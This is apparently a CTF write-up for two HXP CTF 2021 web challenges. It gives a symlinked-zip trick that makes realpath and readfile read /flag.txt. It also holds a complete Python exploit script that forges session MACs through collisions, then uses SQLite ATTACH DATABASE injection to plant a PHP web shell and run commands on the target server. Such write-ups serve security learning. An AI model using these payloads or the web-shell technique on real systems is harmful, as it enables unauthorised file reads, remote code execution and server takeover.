HXP CTF 2021

Web

unzipper

Since realpath will not resolve file:// or php://, we can create a zip with this file structure.

$ tree php:
php:
├── filter
│   └── resource=php:
│       └── not.txt
└── not.txt -> /flag.txt

zip --symlinks -r foo.zip php:

Then make realpath and readfile get different file with GET /?file=php://filter/resource=php:/not.txt.

shitty blog 🤎

from requests import get, post
from requests.utils import unquote as decode
from requests.utils import quote as encode 
from multiprocessing import Pool, Manager
from functools import partial

target = 'http://localhost:8888'
target = 'http://65.108.176.96:8888/'
sqli_payload = encode("0;ATTACH DATABASE '/var/www/html/data/ginoah.php' AS ginoah;CREATE TABLE ginoah.pwn (dataz text);INSERT INTO ginoah.pwn (dataz) VALUES ('<?php system($_GET[cmd]); ?>garbage');//")

def collision(ses, i):
  r = get(target)
  session = decode(r.cookies['session'])
  _id, mac = session.split('|')
  if mac in ses:
    ses[mac] += 1
  else:
    ses[mac] = 1
  
def sqli(mac, ses, i):
  payload = sqli_payload.replace('garbage', str(i))
  new_session = f'{payload}|{mac}'
  r = get(target, cookies={'session': new_session})
  if len(r.text) > 0:
    ses['success'] = new_session

if __name__ == '__main__':
  manager = Manager()
  ses = manager.dict()

  col_pool = Pool()
  col_pool.map(partial(collision, ses), range(512))
  col_pool.close()
  col_pool.join()
  macs = list(filter(lambda x: x[1] > 1, ses.items()))
  if len(macs) == 0:
    print('fail finding collision in `id`, retry again')
    exit(0)

  sqli_pool = Pool()
  sqli_pool.map(partial(sqli, macs[0][0], ses), range(512))
  sqli_pool.close()
  sqli_pool.join()
  if 'success' not in ses:
    print('fail finding collision in `sqli_payload`, retry again')
    exit(0)
  
  new_session = ses['success']
  r = post(target, cookies={'session': new_session}, data={'content': 'x'})
  r = post(target, cookies={'session': new_session}, data={'delete': '1'})
  cmd = '/readflag'
  r = get(f'{target}/data/ginoah.php?cmd={cmd}', cookies={'session': new_session})
  print(r.text)
  f = open('flag.txt', 'w')
  f.write(r.text)
  f.close()